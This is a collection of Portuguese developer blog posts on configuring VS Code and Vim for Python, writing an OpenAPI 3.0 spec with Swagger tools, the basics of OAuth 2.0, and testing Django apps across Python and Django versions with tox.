Além de ser livre e de código-aberto, o Visual Studio Code é leve, extensível e construído em Javascript. Ele funciona "out of the box" para linguagens como CSS, Javascript e HTML, inclusive, é impressionante como o autocomplete (através do IntelliSense) funciona "smoothly" para as mesmas.

Tô traindo o movimento tipo o Lando (theplaylist.net)

O seu marketplace de plugins é rico, e é sem dúvida um dos seus pontos fortes. Adicionar code formatters, autocomplete, ou integrações com ferramentas externas nunca foi tão fácil. Além disso, a opção de customizar o editor globalmente ou por workspace é uma mão na roda para quem trabalha com mais de um projeto no cotidiano.

Utilitários de refactoring, debugging, controle de versão, além dos inúmeros plugins para tests, só aumentam ainda mais o poderio do editor, e dão a ele esse "jeitão" de IDE, sem perder a simplicidade peculiar dos editores de texto.

Python

Para usar o editor com Python, a extensão criada pela própria Microsoft deve ser o suficiente. Ela é simples de configurar e muito rica, trazendo comandos interessantes como Start REPL ou Run all unit tests.

VS Code com Python

A configuração granular do editor permite que você tenha um determinado conjunto de regras para cada projeto que esteja envolvido. Por exemplo, em um projeto pessoal você usa nose como test runner, além de pylamas e mypy. Mas no projeto da sua empresa o padrão é pytest, isort, e a única ferramenta de lint é o flake8:

{
  "python.linting.flake8Path": "/home/klaus/.pyenv/versions/company-project/bin/flake8",
  "python.pythonPath": "/home/klaus/.pyenv/versions/company-project/bin/python",
  "python.sortImports.path": "/home/klaus/.pyenv/versions/company-project/bin/isort",
  "python.linting.pylintEnabled": false
}

Notou o path com pyenv? Com a opção python.venvPath apontando para o diretório do pyenv, fica muito mais conveniente configurar qual interpretador e ferramentas de lint utilizar. Ao executar o comando Python: Select interpreter o plugin levará em consideração os seus ambientes virtuais e irá sugerí-los.

Vim bindings

É claro que você pode trazer umas das melhores coisas do Vim para o VS Code! Os keys bindings vão te dar a velocidade de escrita que você já está acostumado, e o VSCodeVim é uma excelente escolha como extensão.

Obviamente que, por tratar-se de um emulador, não temos toda a experiência do Vim. Para compensar a extensão já traz algumas funcionalidades embutidas, como easymotion, surround, commentary e sneak.

Considerações finais

Um dos maiores desafios que enfrentei com a adoção do VS Code foi quebrar esse preconceito bobo que todo "fanboy" tem com tecnologias que rivalizam com a sua. Na verdade, testar novas ferramentas (como o VS Code), tecnologias (como o iOS) e até outras linguagens (como Java e Scala), tem agregado muito ao meu crescimento profissional.

E se você está torcendo o nariz para o fato do editor ser da Microsoft, lembre-se: Github também é dela.

Até a próxima.

Swagger na prática

Thu, 15 Mar 2018 18:15:00 GMT

Voltamos a falar de APIs, e voltamos a falar sobre especificações. Para continuar o assunto sobre Swagger, hoje vamos abordar o tema de uma maneira prática. Afinal, é com ela que a gente vê as principais vantagens de utilizar Swagger + Open API Spec, em relação aos concorrentes.

Não deixe de conferir uma abordagem prática ao RAML, no post "Ramilificando as suas APIs".

Aquecendo

E mais uma vez vamos usar o nosso mini IMDB como exemplo.

Além disso, vamos aproveitar as ferramentas que o pessoal do Swagger disponibiliza gratuitamente. A começar pelo Swagger Editor. Não é necessário fazer nenhum tipo de cadastro ou instalação no momento, apenas abrir o editor através do link "Online Editor".

Aguenta um pouco mais dessa poesia Vogon (imagilendo.wordpress.com)

Ele trará um exemplo de especificação. Vamos limpar o editor e começar do zero.

Como começar?

Como explicado no post anterior, Swagger é um padrão de API Spec mas também é um conjunto de ferramentas que podem trabalhar tanto com Swagger Spec quanto com Open API Spec. Vamos começar o documento deixando clara a nossa escolha:

openapi: "3.0.1"

Confira a versão 3.0.1 do OAI.

A essa altura o editor já deve ter apontado alguns erros. Por exemplo, é obrigatória a presença de um atributo info e path. Vamos corrigí-los:

openapi: "3.0.1"
info:
  title: Movies API
  version: v1
paths:
  /movies:
    summary: A set of movies

Em info, descrevemos o título da nossa API e sobre qual versão da mesma estamos falando (nesse caso, v1). Em paths, descreveremos os endpoints. Com a adição dessas duas propriedades, podemos progredir com a construção da API:

Exemplo Swagger Editor

Conheça os atributos do OpenAPI Object.

Descrevendo os dados

Antes mesmo de adicionarmos os endpoints na propriedade paths, vamos parar e descrever o schema dos nossos dados. Nesse exemplo, o uso da propriedade components pode ser um "overhead", mas para APIs grandes, com vários endpoints, essa separação ajudará na legibilidade e reaproveitamento de código:

(...)

paths:
  /movies:
    summary: A set of movies

components:
  schemas:
    Movie:
      properties:
        id:
          type: string
        title:
          type: string
        description:
          type: string
      required:
        - id
        - title
      type: object

Movie é um objeto e possui três propriedades: id, title e description, e as duas primeiras são obrigatórias. Você pode estar estranhando o id ser do tipo string. Nesse exemplo estamos assumindo que os identificadores são uuids.

Editor do Swagger exibindo a seção models

Saiba mais sobre Schema Objects.

Descrevendo os endpoints

Os principais endpoints que imaginamos para esse projeto são:

GET /movies: Listagem de filmes;
POST /movies: Adição de um filme;
GET /movies/{id}: Detalhes de um filme;
PUT /movies/{id}: Atualização de um filme;
DELETE /movies/{id}: Remoção de um filme.

A listagem é um bom ponto de partida.

Listando filmes

Voltando à propriedade paths, vamos melhorar a definição do /movies:

(...)

paths:
  /movies:
    summary: A set of movies
    get:
      summary: Get a list of movies
      responses:
        '200':
          description: Movie list response
          content:
            application/json:
              schema:
                type: array
                items:
                  $ref: '#/components/schemas/Movie'

Através do /movies, dentro de paths, estamos descrevendo o endpoint. Com o uso de get:, declaramos que o endpoint aceitará o método GET. Ainda abusando da indentação do YAML, deixamos claro que existe uma resposta 200 (sucesso), que o seu conteúdo é application/json, e que dentro desse conteúdo haverá uma listagem de filmes.

Com o $ref somos capazes de referenciar um Path Item Object do próprio arquivo que estamos trabalhando (nesse caso, o #/components/schemas/Movie está referência ao bloco de YAML que criamos no capítulo anterior) ou até mesmo recursos externos. O que possibilita quebrar a spec em diferentes arquivos.

Se você já conhece o JSON Schema, essa notação não lhe parecerá estranha.

Criando filmes

Ainda em /movies, ao enviar um POST, somos capazes de criar um novo filme. Se você já leu sobre REST sabe que essa prática é recomendada. Vamos adicionar o seguinte bloco abaixo do get:

(...)

paths:
  /movies:
    (...)

      post:
        summary: Add a new movie to the set
        requestBody:
          required: true
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/Movie'
        responses:
          '201':
            description: Returns the new movie
            content:
              application/json:
                schema:
                  $ref: '#/components/schemas/Movie'

Com o post:, temos a necessidade do uso de uma nova propriedade chamada requestBody. É com ela que descreveremos quais parâmetros o usuário precisará passar para criar um filme. Já o responses descreve o retorno de um 201 (created), com o recém criado filme como um JSON como conteúdo da resposta.

Opa! Temos um problema aqui! Nosso tipo Movie tem um campo id que é obrigatório por padrão. Esse campo não deveria ser enviado pelo cliente. Precisamos corrigir esse comportamento:

(...)

paths:
  /movies:
    (...)

      post:
        summary: Add a new movie to the set
        requestBody:
          required: true
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/NewMovie'

(...)

components:
  schemas:
    Movie:
      allOf:
        - $ref: '#/components/schemas/NewMovie'
        - required:
          - id
          properties:
            id:
              type: string
    NewMovie:
      properties:
        title:
          type: string
        description:
          type: string
      required:
        - title

Com o uso do tipo NewMovie, o request feito pelo usuário está descrito da maneira correta (sem id). Note que em components aproveitamos todas as características de NewMovie, e adicionamos uma nova (ter id) para o tipo Movie. Isso tudo graças ao $ref e ao allOf.

Editor Swagger exibindo a documentação dos endpoints

A essa altura, descrever os demais métodos e endpoints não será nenhum mistério. Portanto, vamos dar um "fast forward".

Segurança

Segurança é importante, e tão importante quanto é deixar explícito para os desenvolvedores e usuários quais protocolos de autenticação/autorização que estão sendo praticados pela API. No nosso caso, vamos descrever o uso do protocolo OAuth 2.0, com o grant type password:

components:
  (...)

  securitySchemes:
    OAuth2:
      type: oauth2
      flows:
        password:
          tokenUrl: https://example.com/oauth/token
          scopes:
            read: Grants read access
            write: Grants write access

Falta anotar a propriedade security em cada endpoint:

paths:
  /movies:
    summary: A set of movies
    get:
      summary: Get a list of movies
      responses: (...)
      security:
        - OAuth2:
            - read
    post:
      summary: Add a new movie to the set
      requestBody: (...)
      responses: (...)
      security:
        - OAuth2:
            - write

Um ícone de cadeado deve ter aparecido no preview do Swagger Editor.

Outras ferramentas Swagger

Com a especificação acima temos o suficiente para publicar a documentação da nossa API, e até mesmo gerar algum código client. O Swagger Editor quebrou um grande galho, auxiliando na escrita do documento, e é altamente recomendável o seu uso.

Um disclaimer especial vai para a versão do OpenAPI Spec que usamos nos exemplos. Infelizmente, nem toda ferramenta suporta a versão mais recente da especificação, logo, você terá que usar versões mais antigas caso queira utilizar as demais ferramentas que o Swagger disponibiliza.

Gerando código com o Codegen

O Swagger Code Generator é um projeto super bacana que interpreta a especificação e gera código para diferentes linguagens. Infelizmente, a versão estável do swagger-codegen só suporta até a versão 2.0 do OpenAPI Spec, e o snapshot mais recente ainda não possui uma gama grande de linguagens disponíveis.

Construir SDKs nunca foi tão fácil:

java -jar ~/Downloads/swagger-codegen-cli-3.0.0-20180314.142155-42.jar generate \
    -i ~/Downloads/openapi.yaml \
    -l java -o ~/Projects/java/mini-imdb

Se você quer usufruir dessa ferramenta, é recomendado que utilize as versões do OpenAPI Spec descritas no repositório do projeto: https://github.com/swagger-api/swagger-codegen#compatibility.

API client generator HOWTO.

Gerando documentação com o UI

Com o Swagger UI, a partir da especificação recém criada, podemos gerar documentações elegantes e acessíveis ao nosso usuário final. O projeto é em NodeJS, e necessita de algum "Javascript-fu" para executá-lo.

A maneira mais fácil de usá-lo é através da plataforma SwaggerHub. Onde você pode criar um usuário gratuitamente e ter 1 (um) projeto publicado no plano free.

Exemplo Swagger UI

Confira o exemplo no SwaggerHub.

Vale notar que a documentação é "viva", ou seja, ela interage com os endpoints do seu serviço. Para que esse recurso funcione corretamente, você precisa anotar a propriedade servers na especificação da API.

Testando com Inspector

Se você já usou o Insomnia ou Postman, vai se sentir em casa com o Swagger Inspector.

O Inspector é uma GUI que auxilia nos testes de endpoints REST. Com ele, fica mais fácil inspecionar endpoints e validar o contrato e comportamento dos mesmos.

Confesso que acho o Postman muito mais eficiente nesse quesito. Mas infelizmente, o aplicativo só suporta até a versão 2.0 do Swagger Spec. Nada que impeça que você configure os requests para os endpoints manualmente.

Considerações finais

A spec final você encontra aqui.

O ambiente em torno do OpenAPI é rico, e vale a pena considerar escrever suas próximas especificações de APIs com esse padrão. Se você, assim como eu, vem de outros formatos (como o RAML ou JSON Schema), não notará grande diferença na forma de escrita com o OAI.

É claro que não é só o pessoal do Swagger que cria ferramentas para Swagger Spec e OpenAPI Spec. Você pode conferir as diversas ferramentas criadas pela comunidade em Tools and Integrations.

Sem dúvida, falaremos sobre Python + Swagger nos próximos posts.

Até lá.

OAuth2.0: Autorização simples (or is it?)

Tue, 06 Feb 2018 11:45:00 GMT

É isso mesmo, meu caro leitor! Já pincelamos alguns assuntos que cerceiam o desenvolvimento de APIs, desde bibliotecas até a construção de especificações. Nesse post vamos introduzir a camada de auth de uma API web, e entender como podemos resolver esse problema através do protocolo OAuth 2.0.

O que é OAuth 2.0?

Diretamente do oauth2.net:

OAuth 2.0 is the industry-standard protocol for authorization. OAuth 2.0 supersedes the work done on the original OAuth protocol created in 2006. OAuth 2.0 focuses on client developer simplicity while providing specific authorization flows for web applications, desktop applications, mobile phones, and living room devices.

Em outras palavras, é um framework de autorização que possibilita aplicações a obterem acesso limitado a contas de usuários em um serviço HTTP, como Facebook, GitHub ou Twitter. Ele funciona delegando a autenticação do usuário ao serviço que "hosteia" a sua conta, e autoriza aplicações third-party a acessarem a mesma.

Imagine que você criou um serviço web. É razoável assumir que você aplique alguma forma proprietária para resolver a questão de autenticação de usuários. Um formulário com username e password seria o suficiente para realizar a tarefa. Imagine que o seu serviço comece a ganhar notoriedade, e com isso potenciais parceiros desejam se integrar com a sua solução. Construir uma API REST é um caminho confortável, uma vez que o padrão é aberto, bem explorado, e não há nenhuma restrição de patente ou direitos para que o seu parceiro o adote.

O mesmo acontece com o OAuth. Agora você precisa autorizar o acesso a sua API, afinal não é todo parceiro que terá acesso a parte premium da sua solução. Ao invés de bolar um fluxo proprietário, no qual o seu parceiro terá que desenvolver uma biblioteca apenas para conectar-se ao seu serviço, você adota o OAuth 2.0. Como é um padrão aberto, o interessado provavelmente já o conhece e já possui as ferramentas necessárias.

O OAuth 2.0 é comprovadamente seguro. Mas nem tanto contra vampiros... (amazon.com)

Embora pareça complicado, é possível resumir o fluxo do OAuth 2.0 com o diagrama abaixo:

Diagrama exibindo a dança realizada para autorizar um usuário (api.slack.com)

Entender melhor os papéis envolvidos nesse processo pode dar mais cor ao entendimento do diagrama acima.

Papéis

O protocolo OAuth faz uso de 4 papéis:

Resource owner (user)

O resource owner é o usuário que autoriza a aplicação a acessar a sua conta.

Exemplo: Você.

Client (application)

A aplicação que está tentando acessar a conta do usuário. O usuário precisa autorizá-la a fazê-lo.

Exemplo: Um aplicativo de galeria de imagens que conecta-se ao seu Dropbox.

Authorization server

Esse é o servidor que apresenta a interface onde o usuário pode aprovar ou negar o acesso daquele aplicativo à sua conta.

Exemplo: Servidor de autorização do Dropbox.

Resource server (API)

É o serviço/API no qual estamos tentando acessar. O resource server lida com requisições autenticadas após o aplicativo ter obtido um token de acesso.

Exemplo: API de arquivos do Dropbox.

No cenário descrito acima, ter o authorization server e o resource server no mesmo serviço é aceitável. Mas podemos ter a necessidade de apenas autenticar o usuário (utilizando o Facebook como authorization server, por exemplo) e prover funcionalidades da nossa própria API (agindo como resource server).

Fluxos

Diagrama de autorização de usuário no Dropbox (dropbox.com)

Você provavelmente já passou pelo fluxo ilustrado acima ao fazer login no Spotify.

O app do Spotify pede autorização ao Facebook para acessar os dados da sua conta. O Facebook por sua vez exibe uma tela, solicitando que você autorize o acesso clicando em um botão. Com isso, Facebook autoriza acesso do Spotify e a partir daí ele é capaz de ver o seu endereço de e-mail e consequentemente ter certeza de que "você é você".

No caso do exemplo da galeria de fotos, os seguintes passos são executados:

A aplicação requisita autorização para acessar os recursos do usuário;
Se o usuário autorizá-la, a aplicação recebe um authorization grant;
A aplicação requisita um access token do authorization server, apresentando as suas próprias credenciais e o authorization grant cedido pelo usuário;
Se as credenciais e o authorization grant forem válidos, o authorization server emite um access token para a aplicação. O processo de autorização está completo;
A aplicação requisita o recurso protegido do resource server, apresentando o access token para autenticação;
Se o access token for válido, o resource server retorna o recurso para a aplicação.

Caso você esteja construindo o aplicativo de galeria de fotos, é necessário criar um "app" na área de Developers do Dropbox, como mostrado abaixo:

Área de criação de app

Ao finalizar o cadastro, o app receberá um app key e app secret. Essas são as credenciais do aplicativo, que devem ser apresentadas ao authorization server juntamente com o authorization grant, para que o processo execute com sucesso.

Leia o OAuth guide, do Dropbox.

Diferenças para o OAuth 1.0

O OAuth 1.0 foi baseado em protocolos proprietários, e com o passar do tempo pode-se dizer que ele "não envelheceu bem". O OAuth 2.0 surgiu das lições aprendidas com o primeiro, e tem como principais melhorias:

Utilizar HTTPS para todas as comunicações entre navegadores, clientes e API;
Melhor experiência de autorização para aplicativos nativos e suporte para extensões;
A separação em papéis permite uma melhor escala de operação, uma vez que é possível tratar o user authorization e as API calls em contextos (serviços e até mesmo máquinas) diferentes.

Considerações finais

Se até então o protocolo não ficou muito claro, não se preocupe! É na prática que o OAuth 2.0 começa a fazer mais sentido, e é isso que abordaremos no próximo post.

Entender como esse protocolo funciona é fundamental para compreender outras variações como Native Apps auth, SAML ou JWT.

Até a próxima!

Referências

Testando apps Django com Tox

Fri, 05 Jan 2018 17:05:00 GMT

O Django 2.0 foi lançado, e com ele o suporte a Python 2.7 deixa de existir para as próximas versões do framework. Alegria para os usuários, preocupação para os desenvolvedores dos apps. Afinal, a versão 1.11 é LTS (Long Term Support), logo, alguns apps (ainda) não podem abraçar incondicionalmente a versão 3.x da linguagem.

É nesse cenário que bibliotecas como o six e tox mostram o seu valor. Nesse artigo, vamos falar um pouquinho mais sobre a última.

Antes de começar: Vida longa ao Python 3!

O Python 2 estará aí por mais um tempo (até 2020). Portanto, qual a motivação para mudar para o Python 3 agora?

Na Loadsmart, o nosso principal projeto é em Python 2.7. Mas estamos experimentando Python 3.x há um bom tempo em projetos paralelos. O fato é que a nova versão da linguagem está mais eficiente, possui suporte a assincronicidade, melhor controle de exceções e o fogo ardente do "unicode hell" foi controlado.

Migrar para Python 3 pode parecer assustador. Mas é tranquilo, Indy...

É verdade que há quebra de compatibilidade entre as versões, mas se considerarmos que a 2.7 só tem mais 2 anos de "vida", a urgência de migração fica mais latente.

tox é uma sacada das boas!

O site oficial da biblioteca a define como:

(...) a generic virtualenv management and test command line tool (...)

Com tox é possível:

Validar o seu pacote contra diferentes versões do Python;
Rodar os seus testes em diferentes environments.

Não é só por usar ambientes virtuais que o tox é uma boa ideia. Ele vem sendo uma mão na roda para os desenvolvedores de pacotes Python que precisam dar suporte às versões 2.x e 3.x, e que utilizam testes automatizados como design das soluções.

Com o Django a "granularidade" pode ser ainda maior, rodando testes em ambientes que são combinações entre diferentes versões da linguagem e do framework.

Antes de continuar: Travis e Build Matrix

Se você estiver utilizando o Travis CI, poderoso serviço de Continuous Integration, consegue reproduzir o comportamento que apresentaremos a seguir através do uso de Build Matrix.

A diferença é que com o tox, podemos obter o mesmo comportamento em tempo de desenvolvimento. Agilizando um pouco mais o processo.

Veja mais em "Travis CI for Python project".

Na prática

Vou aproveitar o tema e usar o tox para me ajudar em um refactoring de um app de código aberto, que há muito não dou suporte: O django-simple-contact.

Se você quiser acompanhar o passo-a-passo, clone o projeto e dê um git checkout da revisão 80145ae:

$ git clone git@github.com:kplaube/django-simple-contact.git
$ cd django-simple-contact/
$ git checkout 80145ae

Na estrutura atual, é possível executar os testes através do setup.py ou python runtests.py:

$ python setup.py test
(...)
-----------------------------------------------
Ran 6 tests in 0.230s

OK
Destroying test database for alias 'default'...

É possível fazer a troca da versão do Python/Django de forma manual (através do pyenv, por exemplo). Obviamente que o tox deixa tudo mais interessante (e automatizado).

Instalando o tox

Finalmente, vamos adicionar a ferramenta ao projeto:

$ pip install tox

Caso esteja usando pyenv, a instalação do tox-pyenv é sugerida. Leia mais sobre a biblioteca.

Para deixar tudo mais organizado, vamos nos inspirar na estrutura do projeto modelmommy. Criaremos um arquivo requirements.txt com o seguinte conteúdo:

# requirements.txt

bleach
django>=1.8.0

A versão 1.8.0 (até o momento) é a LTS mais antiga, portanto, garantiremos suporte dessa versão em diante. O bleach é uma dependência do projeto, não relevante ao exemplo desse artigo.

É interessante deixarmos explícito a instalação do tox... um requirements-dev.txt pode ser uma solução:

# requirements-dev.txt

tox

Agora, quando um dev juntar-se ao projeto, ele poderá executar o comando pip install -r requirements-dev.txt, e ter as dependências necessárias para contribuir com o app.

Configurando

Antes de executar a ferramenta é necessário criar um arquivo tox.ini, que será responsável por configurar os ambientes e disparar os testes:

# tox.ini

[tox]
envlist = py27-django{18,111}, py36-django{18,111,20}

[testenv]
commands = python runtests.py
setenv =
    DJANGO_SETTINGS_MODULE=simple_contact.tests.test_settings
    PYTHONPATH={toxinidir}
basepython =
    py27: python2.7
    py36: python3.6
deps =
    bleach
    django18: Django==1.8
    django111: Django==1.11
    django20: Django==2.0

Por partes:

[tox]: Aqui colocamos as configurações globais. envlist conterá a lista de ambientes nos quais executaremos os testes.
[testenv]: Configurações por ambiente de teste. Poderíamos ter configurações específicas ao utilizar [testenv:py36-django20], por exemplo.
- commands: O comando a ser executado.
- setenv: Variáveis de ambiente setadas para a execução dos testes.
- basepython: Nome do interpretador Python utilizado para a criação do ambiente virtual. Repare no "match" com py27- e py36- do envlist.
- deps: Dependências para determinado ambiente de teste. Repare no "match" com django{18,111,20}.

Com o uso dos brackets, ao invés de criarmos um testenv para cada combinação (exemplo: py27-django18, py27-django111, py36-django18, etc), o tox fica responsável por fazer a "matriz de combinações".

Agora sim, podemos executar a ferramenta de linha de comando:

$ tox
(...)
ERROR:   py27-django18: commands failed
ERROR:   py27-django111: commands failed
ERROR:   py36-django18: commands failed
ERROR:   py36-django111: commands failed
py36-django20: commands succeeded

No meu ambiente local, como esperado, apenas os testes do ambiente py36-django20 passaram. Para ter acesso a versão corrigida, dê um checkout da revisão a37ebd1608:

$ git checkout a37ebd1608
$ tox
(...)
py27-django18: commands succeeded
py27-django111: commands succeeded
py36-django18: commands succeeded
py36-django111: commands succeeded
py36-django20: commands succeeded

Perfeito!

Ainda é possível executar apenas os testes de um ambiente específico:

$ tox -e py36-django20
(...)
-----------------------------------------------
Ran 6 tests in 0.055s

OK
Destroying test database for alias 'default'...

O resultado final está disponível na tag 0.3.0 do projeto.

Considerações finais

Que esse movimento da comunidade Django consiga influenciar ainda mais a adoção do Python 3. Admito que sem essa "motivação extra", dificilmente cogitaria o upgrade da linguagem em meus projetos nesse momento.

O tox é sem dúvida uma ferramenta que pode auxiliar nessa fase de transição, portanto, não hesite em adicioná-la ao seu toolbelt.

Para uma integração seamless com o Travis CI, o tox-travis é recomendado.

Até a próxima!

Referências

Swagger e o Open API Initiative

Sat, 25 Nov 2017 20:52:00 GMT

Já falamos sobre RAML aqui no blog. Uma maneira de descrever APIs, facilitando a vida de clientes, fornecedores, e até mesmo máquinas. Acontece que há uma alternativa muito mais popular, chamada Swagger, que na minha opinião tem por principal ponto positivo ser base para a criação da OpenAPI Specification.

Se até aqui tudo isso pareceu "sopa de letrinhas", keep calm! Vamos abrir o glossário e detalhar termo por termo.

Swagger: Um framework completo

As vantagens de utilizar o Swagger são basicamente as mesmas de usar RAML (ou API Blueprint): Modelar e documentar APIs REST.

O Swagger é um framework, composto por diferentes ferramentas, que ajudam no desenvolvimento de APIs. Dentre essas ferramentas podemos destacar as de código aberto:

Swagger Editor: Um editor poderosíssimo que pode ser usado online, e que facilita (e muito) na escrita de arquivos Swagger.
Swagger UI: Uma plataforma para a geração e publicação da documentação de APIs.
Swagger Codegen: Esse aqui é o meu favorito. Através da especificação da sua API, cria SDKs para diferentes linguagens.
Swagger Inspector: Para fechar com chave de ouro. O Inspector é um serviço que testa APIs com base em um contrato Swagger.

Além disso temos o SwaggerHub, que "empacota" isso tudo em um Software As A Service, prometendo aumentar produtividade e colaboração entre times no que tange desenvolvimento de APIs.

Nos items acima citei "arquivos Swagger" e "contrato Swagger". Bem... hoje o Swagger (framework) é apto a trabalhar com o Swagger (especificação). Mas não é apenas essa especificação que ele suporta.

E é aqui que a SmartBear (empresa por trás do desenvolvimento da "marca" Swagger) aparece e merece aplausos.

Swagger Specification vira OpenAPI Specification

Deixa eu corrigir o primeiro parágrafo do capítulo anterior:

As vantagens de utilizar o OpenAPI Spec são basicamente as mesmas de usar RAML Spec, Swagger Spec, ou API Blueprint Spec: Modelar e documentar APIs REST.

Com uma vantagem a mais: Ser aberta*. (note o asterisco)

O Swagger Specification desde o seu princípio é de código aberto. Mas sempre teve uma empresa vinculada ao seu desenvolvimento (mais ou menos o que acontece com a MuleSoft e o RAML).

Em janeiro de 2016, a SmartBear Software renomeou a Swagger Specification para OpenAPI Specification. Disponibilizando-a no Github em github.com/OAI/OpenAPI-Specification, e tornando-a assim em uma especificação "vendor-neutral".

A OAI é tipo os Avengers do mundo das APIs (bestbuy.com)

Isso tudo, claro, com supervisão do consórcio que a mesma SmartBear ajudou a construir: O Open API Initiative. Que é também "curador" do OpenAPI Specification e tem como integrantes alguns gigantes da indústria como Google, IBM, Microsoft, e as próprias MuleSoft e SmartBear.

Swagger & OpenAPI

Novamente, deixa eu corrigir o parágrafo do primeiro capítulo:

As vantagens de utilizar Swagger com OpenAPI Spec são: Além de confiar em uma especificação aberta e vendor-neutral, você ainda conta com o poderoso ferramental de código aberto provido pelo Swagger.

O Swagger "gira em torno" do OpenAPI, provendo ferramentas para a modelagem e documentação. É sem dúvida uma combinação espetacular, e não a toa é a mais famosa e eficiente no momento.

Considerações finais

Confesso que eu tive problemas para entender o relacionamento entre RAML, Swagger e OpenAPI, principalmente por ter adotado o RAML e não seguido o desenvolvimento do Swagger.

Hoje, se você for usar OpenAPI (você deveria) é improvável que não recorra ao Swagger para produzir os seus documentos. Portanto, não é incomum vermos muitos materiais onde esses dois conceitos se misturam e aparentam ser um só.

No próximo post sobre Swagger, vamos para uma abordagem mais prática, mostrando como utilizar as ferramentas com OpenAPI.

Até a próxima.

Referências

Vim para desenvolvimento em Python

Sun, 15 Oct 2017 19:20:00 GMT

Já mencionei as motivações de utilizar Vim no "Vim: O meu editor favorito". E embora eu já tenha "caído em tentação" e utilizado Atom e Spacemacs (esse último é simplesmente fantástico), acabo sempre retornando ao Vim. Principalmente após o lançamento da versão 8, onde processamento assíncrono foi adicionado ao editor.

Ter o Vim configurado para trabalhar com projetos Python é em teoria algo simples (se você optar por usar extensões). O problema é que durante a seleção de ferramentas, alguns detalhes aparecem e interferem na construção de um ambiente de desenvolvimento capaz de operar sem problemas.

E como diz o poeta: O diabo está nos detalhes.

Packaging: vim-plug

Para começar é preciso selecionar um sistema de empacotamento, afim de facilitar a instalação e remoção de plugins. Embora o editor possua um mecanismo built-in em sua versão mais recente, o vim-plug mostra-se muito (mas muito) mais simples de usar.

Para instalar o vim-plug:

curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
    https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim

O controle dos plugins é feito através do .vimrc:

" ~/.vimrc

call plug#begin('~/.vim/plugged')

" Lista de plugins

call plug#end()

Uma vez que o plugin desejado fora adicionado ao .vimrc, o comando :PlugInstall fará o download e instalação do pacote.

Exemplo de utilização do vim-plug

Syntax highlight: vim-polyglot

Syntax highlighting é um dos recursos mais básicos (e úteis) que qualquer editor de texto possa oferecer. É no mínimo curioso o quanto a disposição de cores facilita na leitura de códigos-fonte.

O vim-polyglot suporta dezenas de linguagens (incluindo Python, claro), e o próprio projeto alega que a sua utilização não prejudica o startup time do editor. Logo, uma excelente opção caso o usuário não queira perder tempo fazendo setup desse tipo de feature:

" ~/.vimrc

call plug#begin('~/.vim/plugged')

" Lista de plugins
Plug 'sheerun/vim-polyglot'

call plug#end()

Para uma rápida instalação, execute :source $MYVIMRC (para atualizar o .vimrc em memória) e em seguida :PlugInstall.

Lint: ALE + flake8 + isort + yapf

O Asynchronous Lint Engine é um desses projetos que foram feitos para tirar o máximo da nova versão do Vim. A sua função é na realidade servir de interface assíncrona para linters de diferentes linguagens, resultando em validações do código-fonte sem travar a UI do editor.

Lista de linters suportados pelo ALE

Uma "traquinagem" que ajuda no uso do ALE é utilizar o parâmetro do, do vim-plug, tornando mais fácil a instalação dos utilitários necessários para que o plugin funcione:

" ~/.vimrc

(...)

Plug 'w0rp/ale', { 'do': 'pip install flake8 isort yapf' }

call plug#end()

Importante notar que se o Vim for aberto dentro de um virtualenv, os pacotes Python serão instalados no ambiente virtual ativo. Para contornar esse problema, e tornar essas ferramentas "globais", é possível utilizar o pyenv. Executar :PlugInstall! para cada virtualenv pode ser uma opção também.

Caso algo não esteja funcionando, o :ALEInfo dará dicas de onde o problema está escondido.

Linter: flake8

O flake8 assegura que o código escrito esteja dentro das convenções da PEP8. Alguns alertas aparecerão na tela do editor quando alguma violação acontecer:

Flake8 + ALE

Fixers: isort e yapf

O ALE possui o conceito de "fixers". Eles são executados para realizar reparos no código-fonte aberto, sem a necessidade da chamada de nenhum comando adicional. Em um arquivo Python, o :ALEFixSuggest trará sugestões de fixers para a linguagem:

Try the following fixers appropriate for the filetype:

'add_blank_lines_for_python_control_statements' - Add blank lines before control statements.
'autopep8' - Fix PEP8 issues with autopep8.
'isort' - Sort Python imports with isort.
'yapf' - Fix Python files with yapf.

Try the following generic fixers:

'remove_trailing_lines' - Remove all blank lines at the end of a file.
'trim_whitespace' - Remove all trailing whitespace characters at the end of every line.

See :help ale-fix-configuration

Press q to close this window

O isort é uma ferramenta muito útil que ajuda na ordenação dos import Python. Já o yapf formatará os arquivos respeitando a PEP8.

Para habilitar esses recursos, basta adicionar a seguinte configuração ao ~/.vimrc:

" ~/.vimrc

(...)

call plug#end()

let g:ale_fix_on_save = 1
let g:ale_fixers = {
\   'python': [
\       'isort',
\       'yapf',
\       'remove_trailing_lines',
\       'trim_whitespace'
\   ]
\}

Com o g:ale_fix_on_save = 1, ao salvar o arquivo os fixers serão executados automaticamente. É possível executá-los também através do comando :ALEFix.

Code Completion: completor.vim

Embora o YouCompleteMe seja a opção standard para autocomplete no Vim, foi no completor que eu encontrei um bom balanço entre complexidade e benefícios.

Utilizando o engine de async do Vim 8, o plugin é capaz de entregar code completion de uma maneira muito rápida, e ainda possui uma boa abstração a semantic completion (que fará o autocomplete funcionar "de fato" no caso do Python).

Exemplo de uso do Completor

O jedi é o utilitário "hors concours" para essa tarefa:

" ~/.vimrc

(...)

Plug 'maralla/completor.vim', { 'do': 'pip install jedi' }

call plug#end()

A dica de usar pyenv ou de instalar para cada virtualenv (do tópico de Lint), vale aqui também.

Navegar pelo código-fonte: jedi-vim

E falando de jedi, o jedi-vim é outra figurinha carimbada nos .vimrc de muitos desenvolvedores Python. Assim como o completor, ele fornece autocompletion e uma excelente ferramenta de static analysis.

Nunca renda-se ao lado emacs da força (jovemnerd.com.br)

Se você programa somente em Python, esqueça o completor e use apenas o jedi-vim. Caso contrário, se você programa em mais linguagens, o completor ainda é uma opção atraente (por ser "genérico").

Além do completion o jedi-vim tem outras funcionalidades que são muito úteis para lidar com grandes projetos:

Goto assignments (<leader>g)
Goto definitions (<leader>d)
Mostrar documentação (K)
Renomear (<leader>r)
Exibir uso (<leader>n)

Portanto, é sempre útil tê-lo no seu ambiente de desenvolvimento:

" ~/.vimrc

(...)

Plug 'davidhalter/jedi-vim', { 'do': 'pip install jedi' }

call plug#end()

(...)

let g:jedi#completions_enabled = 0

A última linha acima é essencial para que o completion do jedi-vim não conflite com o do completor.

Navegar pelo sistema de arquivos: NERDTree e ctrlp.vim

Aqui eu vou "chover no molhado" e indicar NERDTree e ctrlp.vim.

